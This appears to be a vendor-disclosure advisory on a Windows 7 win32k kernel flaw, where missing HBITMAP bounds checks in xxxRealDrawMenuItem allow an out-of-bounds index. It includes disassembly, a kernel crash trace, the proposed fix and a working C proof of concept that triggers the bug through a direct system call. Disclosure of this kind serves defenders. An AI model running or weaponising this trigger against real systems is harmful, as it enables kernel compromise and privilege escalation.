Microsoft Windows win32k!xxxRealDrawMenuItem() missing HBITMAP bounds checks
----------------------------------------------------------------------------
Microsoft produce two builds of each of thier supported operating system, a
checked build and a free build. The free build is intended for end users, and
the checked build is intended for low-level developers (note: you would know if
you were using the checked build). The primary difference between the checked
and free builds are compiler settings more conducive to debugging and
additional runtime checks intended to identify programming errors in drivers as
early as possible.
Many of the runtime checks absent from the free build take the form of
assertions, similar to the standard assert() macro (c programmers will
recognise this as similar to defining NDEBUG). Most security researchers
know it's common to find locations in large codebases where developers use an
assertion to handle error conditions, forgetting that these checks are compiled
out of production code.
On a hunch, I browsed the assertion strings in the checked build looking for
anything that could be a bounds check, and found a candidate in win32k.sys
from Windows 7.
.text:BF8B83D7 loc_BF8B83D7: ; CODE XREF: xxxRealDrawMenuItem(x,x,x,x,x,x)+13Dj
.text:BF8B83D7 push offset asc_BFA98BB0 ; "Assertion failed: (pItem->hbmp >= HBMME"...
.text:BF8B83DC push offset aXxxrealdrawmen ; "xxxRealDrawMenuItem"
.text:BF8B83E1 push 601h ; int
.text:BF8B83E6 push offset asc_BFA988EC ; "d:\\w7rtm\\windows\\core\\ntuser\\kernel\\mnd"...
.text:BF8B83EB push 1000000h ; int
.text:BF8B83F0 push ebx ; int
.text:BF8B83F1 call _VRipOutput
.text:BF8B83F6 add esp, 18h
.text:BF8B83F9 test eax, eax
.text:BF8B83FB jz short loc_BF8B83FE
.text:BF8B83FD int 3 ; Trap to Debugger
And additionally,
.text:BF8B83FE loc_BF8B83FE: ; CODE XREF: xxxRealDrawMenuItem(x,x,x,x,x,x)+142j
.text:BF8B83FE ; xxxRealDrawMenuItem(x,x,x,x,x,x)+168j
.text:BF8B83FE mov edi, [esi+40h]
.text:BF8B8401 add edi, 4Fh
.text:BF8B8404 cmp edi, 5Dh
.text:BF8B8407 jb short loc_BF8B8430
.text:BF8B8409 push offset asc_BFA98B74 ; "Assertion failed: wBmp < OBI_COUNT"
.text:BF8B840E push offset aXxxrealdrawmen ; "xxxRealDrawMenuItem"
.text:BF8B8413 push 604h ; int
.text:BF8B8418 push offset asc_BFA988EC ; "d:\\w7rtm\\windows\\core\\ntuser\\kernel\\mnd"...
.text:BF8B841D push 1000000h ; int
.text:BF8B8422 push ebx ; int
.text:BF8B8423 call _VRipOutput
.text:BF8B8428 add esp, 18h
.text:BF8B842B test eax, eax
.text:BF8B842D jz short loc_BF8B8430
.text:BF8B842F int 3 ; Trap to Debugger
With these tests compiled out, you can pass a pathological HBITMAP and it gets
trusted without validation. The HBITMAP here is used as an index into
gpsi->oembmi[] (of type tagSERVERINFO in the public symbols, I assume gpsi is
global pointer to server info).
Reaching this code was non-trivial, but I found a way to trigger it reliably.
kd> .lastevent
Last event: Access violation - code c0000005 (!!! second chance !!!)
debugger time: Mon Mar 8 23:10:15.892 2010 (GMT+1)
kd> kv
ChildEBP RetAddr Args to Child
981915f4 92b8d4d4 f10105c8 00000002 0000008c win32k!xxxRealDrawMenuItem+0x130 (FPO: [6,47,4])
981916a4 92adb609 f10105c8 0110007c 981916ec win32k!xxxDrawState+0x1cd (FPO: [8,33,4])
98191710 92adbdaf f10105c8 fe607468 00000000 win32k!xxxDrawMenuItem+0x3b4 (FPO: [5,14,4])
9819177c 92bfb448 f10105c8 00000001 fe607920 win32k!xxxMenuDraw+0x1f9 (FPO: [3,17,4])
981917d4 92b059b8 00000016 f10105c8 00000003 win32k!xxxMenuBarDraw+0x1b9 (FPO: [4,14,4])
981917fc 92b3b694 0000100c 00000001 00000000 win32k!xxxDWP_DoNCActivate+0xc7 (FPO: [3,1,4])
98191878 92b02b92 fe607920 00000086 00000001 win32k!xxxRealDefWindowProc+0x7fa (FPO: [SEH])
9819189c 92b54859 fe607920 00000086 00000001 win32k!xxxDefWindowProc+0x10f (FPO: [4,0,4])
981918dc 92b546a4 fe607920 00000086 00000001 win32k!xxxSendMessageTimeout+0x1ac (FPO: [8,7,4])
98191904 92b1728b fe607920 00000086 00000001 win32k!xxxSendMessage+0x28 (FPO: [4,0,0])
9819197c 92b095c1 00000000 00000c88 00000001 win32k!xxxActivateThisWindow+0x473 (FPO: [3,21,0])
981919e4 92b091aa fe607920 fe5ad928 00000000 win32k!xxxSetForegroundWindow2+0x3d7 (FPO: [3,18,4])
98191a24 92b17770 fe607920 00000001 fe5ad928 win32k!xxxSetForegroundWindow+0x1e4 (FPO: [2,8,4])
98191a50 92b17537 00000000 00000001 fe600618 win32k!xxxActivateWindow+0x1b3 (FPO: [2,4,4])
98191a64 92afd9dd fe607920 00000000 fe607920 win32k!xxxSwpActivate+0x44 (FPO: [1,0,0])
98191abc 92b02c98 00000000 fe607920 00000000 win32k!xxxEndDeferWindowPosEx+0x278 (FPO: [2,16,4])
98191adc 92b2c50e fe607920 00000000 00000000 win32k!xxxSetWindowPos+0xf6 (FPO: [7,1,4])
98191b18 92b23b0d 00000000 00000005 0ad06a7a win32k!xxxShowWindow+0x25a (FPO: [2,3,4])
98191c30 92b210b6 00080000 ff9d1d28 fe607250 win32k!xxxCreateWindowEx+0x12ed (FPO: [SEH])
98191cf0 8285342a 80080000 98191cc0 98191cb4 win32k!NtUserCreateWindowEx+0x2a8 (FPO: [SEH])
kd> vertarget
Windows 7 Kernel Version 7600 MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 7600.16385.x86fre.win7_rtm.090713-1255
Machine Name:
Kernel base = 0x82810000 PsLoadedModuleList = 0x82958810
Debug session time: Mon Mar 8 23:10:12.438 2010 (GMT+1)
System Uptime: 0 days 0:04:07.341
Interestingly, the win32 api required to reach the code (SetMenuItemInfo)
interferes and rejects my call, so I must make the system call directly. This
is complicated, as Microsoft provide no stub export in ntdll, so I have to
invoke it manually. Maybe there's a cleaner way.
Because of the additional information compiled into the assertion, I have lots
of data about the failing code, including the variable names and filename.
Therefore, I know the correct fix is to verify (pItem->hbmp >=
HBMMENU_POPUPFIRST) && (pItem->hbmp <= HBMMENU_POPUPLAST) before line 1537 of
\w7rtm\windows\core\ntuser\kernel\mndraw.c :-)
I suspect there may be more assertions that should be checked, but haven't
looked at them all.
--------------------
Affected Software
------------------------
At least Microsoft Windows 7 is affected.
--------------------
Consequences
-----------------------
An unprivileged user may be able to execute arbitrary kernel code, perhaps
escaping protected mode, or becoming an Administrator, for example.
Example code to trigger this vulnerability is available below.
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer working with ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <winnt.h>
#include <uxtheme.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "GDI32")
#pragma comment(lib, "USER32")
#pragma comment(lib, "UXTHEME")
#ifndef MFS_CACHEDBMP
# define MFS_CACHEDBMP 0x20000000L
#endif
// Linux style :-)
//
// kd> dds win32k!W32pServiceTable + ((0x1256 - 0x1000) * 4) L1
// 92c95958 92b2d294 win32k!NtUserThunkedMenuItemInfo
//
#define __NR_NtUserThunkedMenuItemInfo 0x1256
// Quick utility routine to execute a systemcall with the specified argument list.
NTSTATUS SystemCall(DWORD Number, PVOID Args, ...)
{
NTSTATUS Status;
__try {
__asm {
mov eax, Number
lea edx, Args
int 0x2e
mov Status, eax
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
return GetExceptionCode();
}
return Status;
}
// kd> lm mwin32k
// start end module
// 92a90000 92cda000 win32k
// kd> dt tagSERVERINFO oembmi
// win32k!tagSERVERINFO
// +0x970 oembmi : [93] tagOEMBITMAPINFO
// kd> dt tagOEMBITMAPINFO
// win32k!tagOEMBITMAPINFO
// +0x000 x : Int4B
// +0x004 y : Int4B
// +0x008 cx : Int4B
// +0x00c cy : Int4B
int main(int argc, char **argv)
{
MENUITEMINFO MenuItemInfo = { sizeof MenuItemInfo };
WNDCLASS Class = {0};
HMENU Menu;
BITMAPINFO Bitmap;
Menu = CreateMenu();
Class.lpfnWndProc = DefWindowProc;
Class.lpszClassName = "Class";
MenuItemInfo.fMask = MIIM_BITMAP | MIIM_STATE;
MenuItemInfo.fState = MFS_CACHEDBMP;
MenuItemInfo.hbmpItem = (HBITMAP) 0x12345678;
// Register Window Class
RegisterClass(&Class);
// Possibly disable themes for current session
if (IsThemeActive()) {
EnableTheming(FALSE);
}
// This should work, but some ring3 code interferes.
// SetMenuItemInfo(Menu, 1, TRUE, &MenuItemInfo);
// Call NtUserThunkedMenuItemInfo() directly instead.
SystemCall(__NR_NtUserThunkedMenuItemInfo, Menu, 1, TRUE, TRUE, &MenuItemInfo, NULL);
// Trigger the bug
CreateWindowEx(WS_EX_LAYERED, "Class", "Window", WS_VISIBLE, 0, 0, 32, 32, NULL, Menu, NULL, NULL);
return 0;
}
-------------------
Credit
-----------------------
This bug was discovered by Tavis Ormandy.
-------------------
Greetz
-----------------------
$1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/
$1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.
$1$IPYBMipO$/HhHCPgulV/E0pgSvU1710
$1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.
$1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.
And all the other elite people I've worked with (sorry, too many to generate!).
-------------------
Notes
-----------------------
Approximate time to fix was 150 days.
-------------------
References
-----------------------
- http://msdn.microsoft.com/en-us/library/ms648001%28VS.85%29.aspx
SetMenuItemInfo Function